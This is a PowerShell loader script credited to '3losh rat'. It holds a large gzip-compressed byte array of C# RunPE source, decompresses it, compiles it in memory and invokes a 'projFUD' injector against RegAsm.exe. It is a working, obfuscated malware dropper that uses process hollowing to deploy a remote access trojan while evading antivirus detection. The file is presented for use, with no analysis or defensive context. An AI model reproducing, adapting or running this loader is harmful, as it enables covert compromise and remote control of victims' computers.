#by code 3losh rat

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -AssemblyName Microsoft.CSharp
Add-Type -AssemblyName System.Management

[Byte[]] $RUNPE = @(31,139,8,0,0,0,0,0,4,0,237,189,7,96,28,73,150,37,38,47,109,202,123,127,74,245,74,215,224,116,161,8,128,96,19,36,216,144,64,16,236,193,136,205,230,146,236,29,105,71,35,41,171,42,129,202,101,86,101,93,102,22,64,204,237,157,188,247,222,123,239,189,247,222,123,239,189,247,186,59,157,78,39,247,223,255,63,92,102,100,1,108,246,206,74,218,201,158,33,128,170,200,31,63,126,124,31,63,34,214,77,177,188,72,95,95,55,109,190,56,252,141,19,255,207,241,211,34,187,88,86,77,91,76,155,238,87,175,214,203,182,88,228,227,179,101,155,215,213,234,117,94,95,22,211,220,53,251,162,152,214,85,83,157,183,227,159,44,154,117,86,62,201,154,98,74,223,254,198,201,50,91,228,205,42,155,230,233,170,174,126,250,217,87,79,127,227,228,23,255,198,73,74,207,106,61,41,139,105,218,180,25,245,152,78,203,172,105,210,151,199,242,157,54,233,55,107,218,26,253,189,202,47,243,186,201,95,243,95,91,250,33,253,117,199,189,231,129,192,227,94,164,223,210,207,210,143,62,58,12,27,20,203,54,125,158,47,47,218,121,231,11,249,144,94,33,248,99,253,99,59,221,237,180,186,154,23,101,158,110,233,247,71,159,165,59,30,46,120,58,248,224,177,200,232,47,159,160,139,239,9,136,239,119,224,227,145,111,182,183,59,95,253,146,240,207,58,111,215,245,82,97,122,77,189,102,81,154,62,41,150,89,125,253,166,10,137,218,220,130,168,211,121,86,55,32,144,48,203,155,252,93,59,126,149,95,172,203,172,62,125,183,170,243,166,41,170,101,131,143,242,119,244,239,170,36,118,0,252,81,250,209,247,126,191,157,221,239,127,68,191,124,116,167,51,170,201,117,155,127,239,251,105,86,131,64,203,252,74,62,216,226,190,204,52,220,77,15,238,96,46,136,114,187,93,130,157,87,117,186,133,73,45,232,253,157,67,250,241,248,51,64,243,167,48,45,62,249,164,51,77,120,168,213,247,138,239,211,107,39,213,146,248,172,29,191,169,158,80,231,218,247,235,245,68,198,189,85,164,223,74,15,70,132,195,40,221,235,162,175,179,224,147,228,248,245,201,217,217,233,114,90,205,232,101,249,107,252,121,222,42,189,169,83,31,134,63,91,117,113,153,181,121,58,203,203,252,2,191,96,84,79,245,143,87,121,179,94,228,111,230,117,158,205,182,72,60,95,18,31,205,179,229,172,204,125,104,61,16,147,170,42,45,140,239,86,87,159,238,191,206,91,129,66,131,110,9,93,3,172,229,15,71,232,148,166,99,42,95,222,30,246,207,18,88,70,249,243,159,29,216,223,28,88,127,162,126,178,168,91,210,140,199,101,89,77,79,223,133,83,197,48,211,108,54,131,172,200,31,37,115,169,252,222,94,175,180,9,233,208,54,159,190,199,88,190,91,23,109,254,178,174,72,89,55,95,228,139,170,190,54,61,175,228,67,129,59,201,154,252,216,116,175,146,55,89,159,159,231,181,126,207,191,191,46,126,64,120,212,249,185,124,70,205,26,192,111,243,229,237,17,122,69,36,124,79,124,108,135,183,65,8,240,111,61,39,63,117,245,213,114,145,173,126,178,200,175,190,60,127,77,132,37,61,117,19,62,183,31,234,9,177,139,37,254,177,81,168,217,106,69,186,55,67,87,47,200,54,142,172,18,173,22,11,98,134,231,197,146,62,11,113,56,110,169,201,100,77,163,179,223,8,47,122,95,116,148,39,240,40,150,243,156,166,231,219,204,98,244,234,26,35,153,2,41,234,251,89,153,93,56,112,249,242,178,168,171,229,34,95,182,14,161,117,93,211,223,79,139,154,8,67,19,37,132,126,221,102,196,199,171,179,37,233,215,5,67,130,25,49,31,73,27,29,178,223,70,71,226,125,4,58,226,191,46,45,3,163,68,108,120,252,60,80,196,170,45,63,218,217,217,221,165,255,239,232,207,93,253,159,249,88,255,230,175,164,157,255,57,253,243,51,254,11,222,139,242,130,253,124,119,231,103,188,47,118,240,175,7,201,66,54,223,56,132,12,6,218,206,181,247,222,231,151,185,3,243,162,118,225,117,224,97,162,63,77,111,6,208,251,32,214,65,80,27,185,134,10,67,59,116,253,241,47,63,231,136,254,92,34,176,163,109,59,48,181,67,215,31,255,242,115,142,40,35,160,13,13,0,219,129,116,24,124,36,237,180,67,243,185,254,109,71,229,81,193,32,98,190,219,49,29,134,152,186,142,188,145,232,187,222,240,189,145,199,16,85,120,6,69,143,34,166,105,208,175,252,254,195,70,72,126,238,104,251,93,253,111,71,245,135,7,91,123,15,71,16,118,104,177,181,192,109,199,250,190,65,204,189,33,141,44,66,138,200,174,105,231,195,182,112,228,235,159,49,227,240,177,252,26,20,48,64,35,148,176,237,249,203,159,249,232,206,248,53,25,193,118,11,110,189,85,244,191,56,253,232,103,62,74,127,201,40,21,21,207,45,190,92,181,28,58,188,168,150,185,24,140,84,159,168,185,72,127,175,188,94,230,229,189,61,50,25,157,112,230,248,249,247,118,190,31,179,221,33,128,101,59,43,203,232,219,187,183,120,251,85,179,16,207,49,10,97,239,22,16,58,174,120,251,46,10,233,222,45,32,221,8,100,255,22,64,58,110,246,0,164,251,183,128,116,35,144,79,111,1,196,249,208,228,66,71,161,60,184,5,148,142,79,28,133,115,112,11,56,161,43,27,5,243,240,22,96,186,78,104,156,251,110,195,188,206,225,60,142,3,17,30,222,32,70,152,160,106,89,94,71,195,203,52,248,227,179,244,121,69,30,232,170,120,28,107,123,180,21,166,104,140,96,82,168,28,126,97,69,230,206,134,241,245,208,138,70,172,93,225,209,79,251,136,70,219,221,26,227,158,136,190,23,230,61,244,110,129,239,215,70,245,107,99,25,13,175,187,218,96,51,125,187,237,110,141,116,79,231,188,23,230,61,244,110,129,239,215,70,245,107,99,25,38,3,60,189,86,137,98,235,98,24,54,184,53,126,129,190,124,47,4,251,121,131,174,218,196,71,145,169,239,53,186,53,178,157,87,223,11,221,80,21,3,181,254,39,49,133,213,105,115,107,92,195,55,223,11,213,88,206,161,103,3,248,195,62,194,177,102,93,156,217,131,233,33,220,125,243,189,80,14,19,25,158,153,225,63,251,104,134,13,110,77,84,207,124,49,122,14,193,239,61,45,203,179,197,170,170,219,173,143,222,234,235,148,52,38,245,246,60,107,218,211,186,174,144,36,110,235,117,126,231,251,131,195,34,193,166,87,83,205,120,0,231,231,197,164,38,19,121,188,245,189,47,40,177,59,39,65,105,182,64,166,101,118,145,207,222,80,210,109,252,147,79,158,92,191,202,207,9,193,59,223,79,145,218,80,75,139,204,141,79,193,1,4,79,40,97,76,72,34,129,33,191,141,143,151,77,17,69,124,148,158,190,203,166,237,235,85,94,150,232,225,61,135,67,154,136,9,39,57,170,45,147,93,212,57,24,165,31,60,194,78,239,50,87,52,233,118,242,237,39,71,91,10,2,75,63,54,155,180,200,219,121,53,27,94,74,208,124,185,50,1,129,185,179,85,77,126,26,185,78,197,28,169,114,195,96,207,170,250,217,122,201,236,255,178,42,176,38,181,213,33,64,48,189,24,22,144,185,35,233,41,69,101,196,121,213,234,220,235,210,31,240,47,9,24,144,232,179,158,210,164,93,87,235,118,75,126,252,94,197,114,54,126,157,255,162,53,37,201,138,172,28,165,47,179,233,91,154,183,221,248,164,225,253,72,102,108,144,32,186,70,99,133,81,167,84,33,72,82,207,67,119,195,43,98,162,110,245,6,167,8,13,146,179,110,99,29,75,216,90,160,7,141,189,181,139,111,138,112,253,180,227,77,132,99,228,144,32,190,105,20,202,160,228,189,210,170,102,62,219,189,101,251,167,121,243,182,173,86,183,108,253,166,104,123,196,31,148,201,39,215,63,73,159,214,117,70,57,87,140,128,220,146,6,74,228,222,167,62,133,162,221,105,238,254,139,162,153,222,132,153,114,135,25,247,222,45,219,191,110,103,103,203,213,186,189,125,243,47,215,237,123,181,103,181,216,149,68,143,51,130,197,203,203,170,152,145,234,204,167,148,5,55,138,103,149,97,229,68,73,177,202,174,75,82,6,195,154,39,178,80,152,222,143,45,13,118,222,195,131,215,48,2,246,93,248,245,126,155,88,198,28,93,33,249,209,255,110,203,215,65,230,137,37,212,13,136,254,119,81,16,77,49,6,43,209,75,95,17,165,239,237,141,95,18,243,229,91,70,185,226,187,47,207,183,84,35,246,209,186,115,199,229,222,3,53,105,225,43,159,87,12,61,13,23,131,237,162,231,211,252,60,91,151,173,183,236,105,87,118,145,0,218,121,119,127,127,68,255,126,250,12,255,238,63,228,223,79,241,239,3,254,252,222,61,254,119,47,253,37,55,161,176,251,233,207,22,10,187,252,239,167,130,66,31,137,182,190,238,127,24,225,28,60,197,121,186,245,187,118,86,137,132,119,101,40,227,211,197,170,189,54,139,52,227,159,202,235,170,243,199,121,86,54,100,99,247,211,159,73,119,239,237,239,237,62,120,176,119,208,105,178,92,151,165,216,61,120,30,248,9,67,135,5,164,234,138,25,232,244,221,52,95,13,242,13,227,73,92,126,94,148,102,5,140,40,11,121,185,115,6,195,155,177,21,30,159,100,101,249,228,26,78,131,225,161,39,69,171,171,54,121,125,7,212,254,130,205,238,150,114,8,153,223,39,97,130,226,35,77,17,122,9,203,93,205,33,218,188,163,205,106,226,151,143,8,6,250,101,157,41,208,71,60,34,113,28,120,58,101,244,157,15,85,37,140,210,173,123,59,180,132,191,119,39,253,37,113,142,50,131,47,22,164,155,159,208,26,224,255,127,134,238,207,231,39,233,214,222,167,183,33,132,91,246,86,229,131,207,220,218,28,143,110,235,224,33,1,124,184,115,231,251,3,112,20,2,165,99,9,200,167,247,239,223,59,24,234,144,196,67,89,89,84,215,103,233,126,71,37,155,231,23,139,44,245,86,238,87,197,216,247,126,70,118,213,126,72,0,124,223,197,127,114,146,179,141,93,71,115,30,223,92,255,224,194,124,130,212,128,33,223,214,222,14,209,121,111,119,144,206,120,197,91,183,30,176,78,220,18,3,232,5,195,64,62,240,54,71,140,193,39,233,129,168,145,96,141,126,95,62,179,182,240,125,53,12,97,224,9,217,103,193,130,123,252,21,243,90,116,13,191,143,186,15,48,253,93,137,22,239,137,32,17,179,97,27,121,6,52,141,30,184,165,192,143,207,150,151,213,219,124,235,125,68,242,96,103,179,78,18,108,190,77,4,167,16,250,135,129,207,254,48,62,147,170,42,83,82,71,213,213,151,212,105,93,204,64,32,182,77,27,6,64,221,158,121,122,53,76,113,69,102,208,242,199,200,159,137,81,186,187,183,119,64,44,249,233,126,220,32,115,119,196,39,97,119,239,207,0,44,228,189,236,86,4,79,191,163,145,163,102,48,95,31,40,45,152,126,225,244,47,207,207,27,78,48,132,147,181,183,63,164,84,155,57,37,41,200,54,44,38,121,109,229,5,252,227,243,204,88,125,168,173,1,94,248,116,8,51,235,75,159,137,47,125,70,190,116,183,47,250,180,231,90,155,103,192,81,194,3,168,151,202,35,161,31,242,141,50,125,72,215,79,136,187,134,217,222,160,37,83,251,42,187,122,154,181,217,15,7,43,245,63,55,97,181,146,204,200,155,234,135,137,216,222,6,173,197,136,145,24,133,228,98,93,60,252,194,6,142,192,163,126,187,162,161,195,180,14,125,208,211,144,157,52,207,147,245,249,57,177,254,19,210,63,111,79,170,213,181,99,254,46,37,237,176,229,143,157,224,239,241,243,124,121,209,206,55,17,1,207,215,211,39,68,225,80,6,58,168,244,241,248,48,77,131,103,192,35,193,211,153,125,242,207,134,92,140,1,32,58,125,159,63,233,42,32,226,199,39,244,93,19,168,237,15,215,205,214,129,249,252,201,135,251,44,36,99,153,204,194,151,231,167,75,10,252,56,23,249,255,215,16,97,127,103,99,112,64,83,16,56,0,119,186,246,221,154,239,27,194,130,253,253,239,139,8,251,76,31,161,243,55,16,52,12,51,246,101,86,167,112,182,187,43,175,195,14,253,13,58,239,119,125,247,245,117,220,251,48,37,158,1,89,123,255,200,102,51,125,176,162,22,93,73,255,250,68,186,254,127,3,145,134,165,189,190,65,182,41,149,186,94,228,50,244,31,142,0,119,40,61,148,148,226,1,16,129,107,136,195,246,46,133,250,187,239,47,19,239,67,225,8,117,35,31,77,179,118,58,239,127,60,128,131,170,114,40,75,253,245,201,245,217,108,171,155,126,112,74,255,108,70,89,203,223,171,40,203,65,52,193,151,197,114,29,83,73,17,116,39,68,232,183,157,166,94,51,253,149,126,252,146,255,7,9,121,8,144,102,53,0,0,0)

Function Decompress {
	[CmdletBinding()]
    Param (
		[Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
        [byte[]] $byteArray = $(Throw("-byteArray is required"))
    )
	Process {
        $input = New-Object System.IO.MemoryStream( , $byteArray )
	    $output = New-Object System.IO.MemoryStream
        $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
	    $gzipStream.CopyTo( $output )
        $gzipStream.Close()
		$input.Close()
		[byte[]] $byteOutArray = $output.ToArray()
        return $byteOutArray
    }
}

function CodeDom([Byte[]] $BB, [String] $TP, [String] $MT) {
$dictionary = new-object 'System.Collections.Generic.Dictionary[[string],[string]]'
$dictionary.Add("CompilerVersion", "v4.0")
$CsharpCompiler = New-Object Microsoft.CSharp.CSharpCodeProvider($dictionary)
$CompilerParametres = New-Object System.CodeDom.Compiler.CompilerParameters
$CompilerParametres.ReferencedAssemblies.Add("System.dll")
$CompilerParametres.ReferencedAssemblies.Add("System.Management.dll")
$CompilerParametres.ReferencedAssemblies.Add("System.Windows.Forms.dll")
$CompilerParametres.ReferencedAssemblies.Add("mscorlib.dll")
$CompilerParametres.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
$CompilerParametres.IncludeDebugInformation = $false
$CompilerParametres.GenerateExecutable = $false
$CompilerParametres.GenerateInMemory = $true
$CompilerParametres.CompilerOptions += "/platform:X86 /unsafe /target:library"
$BB = Decompress($BB)
[System.CodeDom.Compiler.CompilerResults] $CompilerResults = $CsharpCompiler.CompileAssemblyFromSource($CompilerParametres, [System.Text.Encoding]::Default.GetString($BB))
[Type] $T = $CompilerResults.CompiledAssembly.GetType($TP)
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try
{
[String] $MyPt = [System.IO.Path]::Combine([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory(),"RegAsm.exe")
[Object[]] $Params=@($MyPt.Replace("Framework64","Framework") ,$Bytes)
return $T.GetMethod($MT).Invoke($null, $Params)
} catch { }
}

[System.Threading.Thread]::Sleep(1000)

CodeDom $RUNPE ("projFUD.PA") ("Execute")
#by code 3losh rat